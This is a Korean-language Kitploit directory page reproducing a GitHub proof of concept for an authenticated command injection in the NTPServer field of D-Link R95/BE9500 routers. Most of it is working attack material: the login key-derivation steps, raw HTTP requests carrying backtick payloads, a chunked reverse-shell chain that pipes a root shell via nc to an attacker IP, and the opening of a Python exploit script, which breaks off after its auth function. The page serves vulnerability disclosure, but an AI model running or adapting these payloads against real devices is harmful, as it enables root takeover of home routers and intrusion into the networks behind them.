Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-93958 — D-Link R95/BE9500 DHMAPI SetTimeSettings의 인증된 명령 주입 PoC로, NTPServer 백틱 주입을 통해 root RCE를 달성하며, 전체 익스플로잇 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/hackspeak/cve-2026-93958
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingCommand and ControlHardware & IoT SecurityPapers & Research
GitHub
42721일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
hackspeak/cve-2026-93958

CVE-2026-93958

D-Link R95/BE9500 DHMAPI SetTimeSettings의 인증된 명령 주입 PoC로, NTPServer 백틱 주입을 통해 root RCE를 달성하며, 전체 익스플로잇 스크립트를 포함합니다.

저장소 보기

D-Link R95 BE9500 Wi-Fi 7 스마트 라우터

  • 제조사:D-Link
  • 제품:R95
  • 제품 모델:BE9500
  • 펌웨어 버전:1.01B06
  • 취약점 유형:인증된 명령 주입

설명

D-Link R95 BE9500 Wi-Fi 7 스마트 라우터(펌웨어 버전 BE9500_1.00.16)는 SetTimeSettings 요청을 처리할 때 DHMAPI(SOAP over HTTPS) 인터페이스에 명령 주입 취약점이 존재합니다. 사용자가 제어하는 <NTPServer> 필드는 셸 메타문자에 대한 어떠한 정제나 검증도 없이 구성 데이터베이스에 저장됩니다. 이후 구성이 UCI(ntpclient.@ntpserver[0].hostname)로 동기화될 때, 취약한 백엔드 서비스가 큰따옴표로 감싼 셸 명령을 구성하여 system()과 유사한 호출로 실행합니다. <NTPServer> 값에 백틱(```)을 주입함으로써 공격자는 명령 치환을 달성할 수 있습니다. 즉, 셸은 연결된 명령을 실행하기 전에 주입된 내용을 평가하므로, root(uid=0) 권한으로 임의 명령을 실행할 수 있습니다.

이 공격은 인증된 접근(관리자 계정 Admin으로 테스트됨)을 통해 획득한 유효한 웹 관리 세션(sid)을 필요로 합니다. 이 취약점은 장치의 취약한 기본 자격 증명이나 잠재적인 인증 우회 문제로 인해 더욱 증폭되어, 실제 공격 표면을 크게 확장시킵니다.

영향

인증된 공격자는 root 권한으로 임의 명령을 실행할 수 있으며, 이는 민감한 파일 읽기(예: /etc/rg_config/admin 암호문, 전체 구성 백업 덤프), 지속적 백도어 설치, 리버스 셸 구축, 내부 네트워크로의 피벗을 통한 측면 이동 공격 등 장치의 완전한 장악으로 이어집니다.

취약점 상세

1. 영향받는 구성 요소 및 근본 원인

이 취약점은 DHMAPI SOAP 인터페이스를 구현하는 웹 관리 백엔드 바이너리 /bin/ssi(root로 실행됨)에 존재합니다.

오염 소스(Taint source) — SetTimeSettings 핸들러(ssi, 펌웨어 1.01B06의 오프셋 0x6bd84에 위치한 함수):

  • SOAP 요청에서 <NTPServer> 필드를 스택 버퍼로 추출하며, 길이는 0x3f(63바이트)로 제한됩니다. 이는 버퍼 크기 제한일 뿐, 보안 검사가 아닙니다.
  • 내부 setter를 통해 값을 내부 구성 키 time.value.NTPServer에 그대로 저장합니다. — 어느 시점에도 셸 메타문자에 대한 필터링이나 이스케이프가 수행되지 않습니다.

오염 싱크(Taint sink) — UCI로의 구성 동기화. ssi는 구성 값을 셸 명령 문자열에 연결하여 system()과 유사한 호출로 실행함으로써 동기화합니다. 바이너리에서 발견된 내장 형식 문자열은 다음과 같습니다:

uci set %s="%s" > /dev/null

값이 큰따옴표로 감싸져 있기 때문에, 셸은 연결된 명령을 실행하기 전에 값 내부의 백틱(`) / $()에 대해 명령 치환을 수행합니다. ssi가 root로 실행되므로 주입된 명령은 root 권한으로 실행됩니다.

타이밍 증거는 평가가 요청 처리 경로 내에서 동기적으로 발생함을 확인시켜 줍니다. `sleep 10`을 주입하면 HTTP 응답이 약 10초 지연됩니다. 오염된 값은 추가로 UCI(ntpclient.@ntpserver[0].hostname)에 지속되며, 이후 /bin/start_ntpclient.sh(ntpclient -s -h $HOSTNAME)에 의해 따옴표 없이 소비되는데, 이는 2차적인 강화 격차입니다.

악용 제약 조건(검증됨):

제약 조건검증된 결과
필드 길이≤ 63바이트 허용; 60바이트 OK, 80바이트 거부(HTTP 400)
& 문자포함되어서는 안 됨(연결된 명령줄을 깨뜨림)
주입 구문백틱 `cmd` 검증됨; $(cmd)도 동일하게 작동할 것으로 예상됨
실행 컨텍스트uid=0(root) gid=0(root)
출력 채널직접 에코 없음; 웹 루트로 리다이렉트(> /www/<file>)하고 HTTP GET으로 검색

2. 인증 전제 조건(API-AUTH 방식)

모든 DHMAPI 요청은 다음을 포함해야 합니다:

  • Cookie: uid=<session cookie> (로그인에서 획득)
  • API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>
  • SOAP 액션과 일치하는 API-ACTION / SOAPAction 헤더, 그리고 User-Agent와 Referer(UA/Referer 누락 시 HTTP 400/500 발생)
  • ts는 밀리초 타임스탬프이며, 장치는 신선도를 검증하지 않으므로 고정 값을 재사용할 수 있습니다

privkey 도출:

  1. Login / Action=request(정적 키 문자열 withoutloginkey로 서명됨)는 Challenge, Cookie, PublicKey, SaltHash를 반환합니다
  2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (SaltHash가 없을 경우 평문 비밀번호)
  3. privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))
  4. LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))
  5. 위 값을 사용한 Login / Action=login은 <LoginResult>success</LoginResult>를 반환합니다. 이후 요청은 privkey로 서명된 Cookie: uid=<step-1 Cookie>를 사용합니다

3. 개념 증명(Proof of Concept)

1단계 — 로그인 요청(Challenge/Cookie/PublicKey/SaltHash 획득)

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

image-20260823160929456

2단계 — 로그인(세션 설정)

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

예상 결과: <LoginResult>success</LoginResult>.

image-20260823160951351

3단계 — 명령 주입(출력을 웹 루트에 기록)

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

image-20260823161119324

4단계 — 명령 출력 검색

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close

관찰된 응답 본문:

uid=0(root) gid=0(root)

image-20260823161234632

대체 검증 — 시간 기반 블라인드 주입

<NTPServer>`sleep 10`</NTPServer>

HTTP 응답이 약 10초 지연됩니다. 정상적인 NTP 서버 이름은 즉시 반환됩니다.

전체 악용 — 리버스 셸

63바이트 필드 제한은 스크립트를 base64 조각으로 작성하여 우회합니다:

  1. 각각 하나의 조각을 추가하는 반복적인 SetTimeSettings 요청: `echo -n <b64-fragment> >> /tmp/x`
  2. 디코드: `base64 -d /tmp/x > /tmp/rs.rs`
  3. /tmp/rs.rs 내용(busybox ash의 경우 파이프 주위에 필수 공백이 있음에 유의): rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f
  4. 트리거: `sh /tmp/rs.rs`

결과: 공격자의 리스너에서 대화형 root 셸(~ #, BusyBox ash)이 수신됩니다.

EXP:

#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py            interactive shell (commands run as root on the device)
#        python r95_exp.py "id"       run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests

HOST, PORT = "192.168.2.15", 18443             # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000"                            # timestamp freshness is not validated by the device
OUT = "/www/e"                                  # command output dropped into the web root

s = requests.Session(); s.verify = False
privkey = cookie = None

def auth(key, action):
    return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS
도구 다운로드